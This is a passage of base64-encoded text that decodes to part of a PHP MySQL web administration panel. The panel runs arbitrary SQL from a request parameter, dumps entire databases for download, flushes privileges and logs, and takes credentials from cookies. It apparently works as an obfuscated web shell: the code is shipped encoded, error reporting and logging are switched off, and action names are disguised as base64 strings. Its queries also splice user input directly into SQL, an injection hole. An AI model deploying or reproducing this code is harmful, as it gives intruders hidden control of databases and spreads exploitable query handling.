maWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJ